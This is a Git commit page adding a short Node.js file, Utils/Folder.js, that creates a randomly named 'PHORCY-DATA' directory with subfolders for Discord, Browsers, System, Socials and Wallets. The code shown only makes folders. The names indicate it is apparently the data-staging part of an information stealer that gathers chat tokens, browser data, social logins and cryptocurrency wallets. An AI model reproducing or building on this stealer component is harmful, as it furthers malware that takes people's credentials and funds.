Create Folder.js
This commit is contained in:
19
Utils/Folder.js
Normal file
19
Utils/Folder.js
Normal file
@@ -0,0 +1,19 @@
|
||||
const fs = require('fs');
|
||||
function genrandomstr(length) {
|
||||
const letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
||||
let answer = '';
|
||||
for (let i = 0; i < length; i++) {
|
||||
answer += letter.charAt(Math.floor(Math.random() * letter.length));
|
||||
}
|
||||
return answer;
|
||||
}
|
||||
function cfold() {
|
||||
const randomstr = genrandomstr(7);
|
||||
const main = `PHORCY-DATA-${randomstr}`;
|
||||
const sub = ['Discord', 'Browsers', 'System', 'Socials', 'Wallets'];
|
||||
fs.mkdirSync(main);
|
||||
sub.forEach(sub => {
|
||||
fs.mkdirSync(`${main}/${sub}`);
|
||||
});
|
||||
}
|
||||
cfold();
|
||||
Reference in New Issue
Block a user